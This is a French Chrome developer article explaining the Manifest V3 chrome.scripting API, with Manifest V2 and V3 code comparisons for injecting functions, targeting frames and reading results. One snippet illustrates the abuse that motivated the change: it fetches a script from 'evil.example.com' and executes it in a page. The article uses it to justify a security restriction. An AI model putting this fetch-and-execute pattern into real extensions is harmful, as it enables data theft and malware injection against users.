Présentation de chrome.scripting

Simeon Vincent
Simeon Vincent

Manifest V3 apporte un certain nombre de modifications à la plate-forme d'extensions Chrome. Dans cet article, nous allons explorer les motivations et les modifications introduites par l'un des changements les plus notables: l'introduction de l'API chrome.scripting.

Qu'est-ce que chrome.scripting ?

Comme son nom l'indique, chrome.scripting est un nouvel espace de noms introduit dans Manifest V3 et responsable des fonctionnalités d'injection de scripts et de styles.

Les développeurs qui ont déjà créé des extensions Chrome connaissent peut-être les méthodes Manifest V2 de l'API Tabs, telles que chrome.tabs.executeScript et chrome.tabs.insertCSS. Ces méthodes permettent aux extensions d'injecter respectivement des scripts et des feuilles de style dans des pages. Dans Manifest V3, ces fonctionnalités ont été transférées vers chrome.scripting et nous prévoyons d'étendre cette API avec de nouvelles fonctionnalités à l'avenir.

Pourquoi créer une API ?

Avec un tel changement, l'une des premières questions qui a tendance à se poser est : « Pourquoi ? »

Plusieurs facteurs ont conduit l'équipe Chrome à décider d'introduire un nouvel espace de noms pour les scripts. Tout d'abord, l'API Tabs est un peu un panneau indésirable pour les fonctionnalités. Nous devions ensuite apporter des modifications destructives à l'API executeScript existante. Troisièmement, nous savions que nous voulions étendre les fonctionnalités de script pour les extensions. Ensemble, ces préoccupations ont clairement défini le besoin d'un nouvel espace de noms pour héberger des fonctionnalités de script.

Le panneau des déchets

L'un des problèmes qui dérangent l'équipe Extensions ces dernières années est la surcharge de l'API chrome.tabs. Lorsque cette API a été lancée pour la première fois, la plupart de ses fonctionnalités étaient liées au concept général d'un onglet de navigateur. Même à l'époque, cependant, il s'agissait d'une petite collection de fonctionnalités et au fil des ans, cette collection n'a fait que s'agrandir.

Au moment de la sortie de Manifest V3, l'API Tabs s'était développée pour couvrir la gestion de base des onglets, la gestion de la sélection, l'organisation des fenêtres, la messagerie, le contrôle du zoom, la navigation de base, l'écriture de script et quelques autres fonctionnalités plus petites. Tous ces éléments sont importants, mais il peut être difficile pour les développeurs qui se lancent et pour l'équipe Chrome de gérer la plate-forme et d'examiner les demandes de la communauté des développeurs.

Autre complication : l'autorisation tabs n'est pas bien comprise. Bien que de nombreuses autres autorisations limitent l'accès à une API donnée (par exemple, storage), cette autorisation est un peu inhabituelle en ce sens qu'elle n'accorde à l'extension l'accès qu'aux propriétés sensibles sur les instances d'onglet (et par extension affecte également l'API Windows). Il est tout à fait compréhensible que de nombreux développeurs d'extensions pensent à tort qu'ils ont besoin de cette autorisation pour accéder aux méthodes de l'API Tabs telles que chrome.tabs.create ou, plus simplement, chrome.tabs.executeScript. Retirer des fonctionnalités de l'API Tabs permet de dissiper cette confusion.

Modifications destructives

Lors de la conception de Manifest V3, l'un des principaux problèmes que nous souhaitions résoudre était l'utilisation abusive et les logiciels malveillants activés par du "code hébergé à distance", c'est-à-dire du code exécuté, mais non inclus dans le package d'extension. Il est courant que les auteurs d'extensions abusifs exécutent des scripts extraits de serveurs distants pour voler des données utilisateur, injecter des logiciels malveillants et contourner la détection. Si de bons acteurs utilisent également cette fonctionnalité, nous avons finalement eu l'impression qu'il était trop dangereux de rester tel quel.

Les extensions peuvent exécuter du code dégroupé de différentes manières, mais celle qui est pertinente ici est la méthode chrome.tabs.executeScript de Manifest V2. Cette méthode permet à une extension d'exécuter une chaîne de code arbitraire dans un onglet cible. Cela signifie qu'un développeur malveillant peut à son tour récupérer un script arbitraire à partir d'un serveur distant et l'exécuter sur n'importe quelle page à laquelle l'extension peut accéder. Nous savions que si nous voulions résoudre le problème de code à distance, nous devions supprimer cette fonctionnalité.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Nous voulions également supprimer d'autres problèmes plus subtils liés à la conception de la version Manifest V2 et faire de l'API un outil plus soigné et prévisible.

Nous aurions pu modifier la signature de cette méthode dans l'API Tabs, mais nous avons estimé qu'entre ces modifications destructives et l'introduction de nouvelles fonctionnalités (décrites dans la section suivante), une pause propre serait plus facile pour tout le monde.

Fonctionnalités de script étendues

Un autre élément pris en compte dans le processus de conception de Manifest V3 était la volonté d'intégrer des fonctionnalités de script supplémentaires à la plate-forme d'extensions Chrome. Plus précisément, nous voulions ajouter la prise en charge des scripts de contenu dynamique et étendre les capacités de la méthode executeScript.

La compatibilité avec les scripts de contenu dynamique est une demande de fonctionnalité de Chromium de longue date. À l'heure actuelle, les extensions Chrome Manifest V2 et V3 ne peuvent déclarer des scripts de contenu de manière statique que dans leur fichier manifest.json. La plate-forme ne permet pas d'enregistrer de nouveaux scripts de contenu, d'en modifier l'enregistrement, ni d'annuler l'enregistrement de scripts de contenu au moment de l'exécution.

Bien que nous sachions que nous voulions répondre à cette demande de fonctionnalité dans Manifest V3, aucune de nos API existantes ne nous semblait idéales. Nous avons également envisagé de nous aligner sur l'API Content Scripts de Firefox, mais nous avons très tôt identifié quelques inconvénients majeurs. Tout d'abord, nous savions que les signatures seraient incompatibles (par exemple, abandon de la prise en charge de la propriété code). Deuxièmement, l'API présentait un ensemble différent de contraintes de conception (par exemple, un enregistrement était nécessaire pour persister au-delà de la durée de vie d'un service worker). Enfin, cet espace de noms nous mènerait également à une fonctionnalité de script de contenu, où nous réfléchissons à la création de scripts dans des extensions plus largement.

En ce qui concerne executeScript, nous voulions également étendre les fonctionnalités de cette API au-delà de la version compatible de l'API Tabs. Plus spécifiquement, nous voulions prendre en charge des fonctions et des arguments, cibler plus facilement des frames spécifiques et cibler des contextes autres que des tabulations.

À l'avenir, nous réfléchissons également à la manière dont les extensions peuvent interagir avec les PWA installées et d'autres contextes qui ne correspondent pas conceptuellement à des "onglets".

Modifications entre onglets.executeScript et scripting.executeScript

Dans la suite de cet article, j'aimerais examiner de plus près les similitudes et les différences entre chrome.tabs.executeScript et chrome.scripting.executeScript.

Injecter une fonction avec des arguments

En réfléchissant à la manière dont la plate-forme devrait évoluer compte tenu des restrictions de code hébergées à distance, nous souhaitions trouver un équilibre entre la puissance brute de l'exécution de code arbitraire et l'autorisation de n'autoriser que les scripts de contenu statique. La solution que nous avons choisie consistait à permettre aux extensions d'injecter une fonction en tant que script de contenu et de transmettre un tableau de valeurs en tant qu'arguments.

Jetons un coup d'œil rapide à un exemple (simplifié à l'excès). Supposons que nous voulions injecter un script qui salue l'utilisateur par son nom lorsqu'il clique sur le bouton d'action de l'extension (icône dans la barre d'outils). Dans Manifest V2, nous pouvions construire une chaîne de code de manière dynamique et exécuter ce script sur la page actuelle.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Bien que les extensions Manifest V3 ne puissent pas utiliser de code qui n'est pas fourni avec l'extension, notre objectif était de préserver une partie du dynamisme que les blocs de code arbitraires ont activé pour les extensions Manifest V2. L'approche basée sur les fonctions et les arguments permet aux réviseurs du Chrome Web Store, aux utilisateurs et aux autres parties intéressées d'évaluer plus précisément les risques liés à une extension, tout en permettant aux développeurs de modifier le comportement d'exécution d'une extension en fonction des paramètres utilisateur ou de l'état de l'application.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Ciblage des frames

Nous voulions également améliorer la façon dont les développeurs interagissent avec les frames dans l'API révisée. La version Manifest V2 de executeScript permettait aux développeurs de cibler tous les frames d'un onglet ou un frame spécifique de l'onglet. Vous pouvez utiliser chrome.webNavigation.getAllFrames pour obtenir la liste de tous les frames d'un onglet.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

Dans Manifest V3, nous avons remplacé la propriété d'entier frameId facultative dans l'objet d'options par un tableau d'entiers frameIds facultatif. Cela permet aux développeurs de cibler plusieurs frames dans un seul appel d'API.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Résultats de l'injection de script

Nous avons également amélioré la façon dont nous renvoyons les résultats d'injection de script dans Manifest V3. Un "résultat" est en fait l'instruction finale évaluée dans un script. Considérez-la comme la valeur renvoyée lorsque vous appelez eval() ou exécutez un bloc de code dans la console des outils pour les développeurs Chrome, mais sérialisée afin de transmettre les résultats entre les processus.

Dans Manifest V2, executeScript et insertCSS renvoyaient un tableau de résultats d'exécution simples. Cela convient si vous n'avez qu'un seul point d'injection, mais l'ordre des résultats n'est pas garanti lors de l'injection dans plusieurs frames. Il n'y a donc aucun moyen de savoir quel résultat est associé à quel frame.

Pour un exemple concret, examinons les tableaux results renvoyés par Manifest V2 et une version Manifest V3 de la même extension. Les deux versions de l'extension injectent le même script de contenu et nous comparerons les résultats sur la même page de démonstration.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Lorsque nous exécutons la version Manifest V2, nous obtenons un tableau de [1, 0, 5]. Quel résultat correspond au frame principal et lequel concerne l'iFrame ? Comme la valeur renvoyée ne nous le donne pas, nous n'en savons pas avec certitude.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

Dans la version Manifest V3, results contient désormais un tableau d'objets de résultat au lieu d'un tableau contenant uniquement les résultats d'évaluation. Ces objets identifient clairement l'ID du frame pour chaque résultat. Cela permet aux développeurs d'utiliser beaucoup plus facilement le résultat et d'agir sur un frame spécifique.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Conclusion

Les pics de version du fichier manifeste constituent une occasion rare de repenser et de moderniser les API des extensions. Avec Manifest V3, notre objectif est d'améliorer l'expérience utilisateur en renforçant la sécurité des extensions tout en améliorant l'expérience des développeurs. L'introduction de chrome.scripting dans Manifest V3 nous a permis de nettoyer l'API Tabs, de réinventer executeScript pour une plate-forme d'extensions plus sécurisée et de jeter les bases des nouvelles fonctionnalités de script qui seront disponibles dans le courant de l'année.